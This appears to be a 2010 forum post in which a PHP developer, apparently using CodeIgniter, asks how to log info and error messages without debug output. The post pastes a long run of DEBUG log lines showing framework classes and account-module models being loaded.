    Hi, IS there a way to save in the log, Info + Errors without debug? Howcome debug level apears with info? If i want to log info "Account id 4345 was deleted by Admin", why do i need to see all of these: DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Config Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Hooks Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 URI Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Router Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Output Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Input Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Global POST and COOKIE data sanitized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Language Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Loader Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Config file loaded: config/safe_charge.php DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Config file loaded: config/web_fx.php DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Helper loaded: loadutils_helper DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Helper loaded: objectsutils_helper DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Helper loaded: logutils_helper DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Helper loaded: password_helper DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Database Driver Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 cURL Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Language Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Config Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Account MX_Controller Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 File loaded: ./modules/accounts/models/pending_account_model.php DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Model Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 File loaded: ./modules/accounts/models/proccess_accounts_model.php DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Model Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 File loaded: ./modules/accounts/models/web_fx_model.php DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Model Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 File loaded: ./modules/accounts/models/trader_account_type_spreads.php DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Model Class Initialized DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 File loaded: ./modules/accounts/models/trader_accounts.php DEBUG - 2010-12-27 08:39:13 --> 192.168.200.32 Model Class Initialized Thanks

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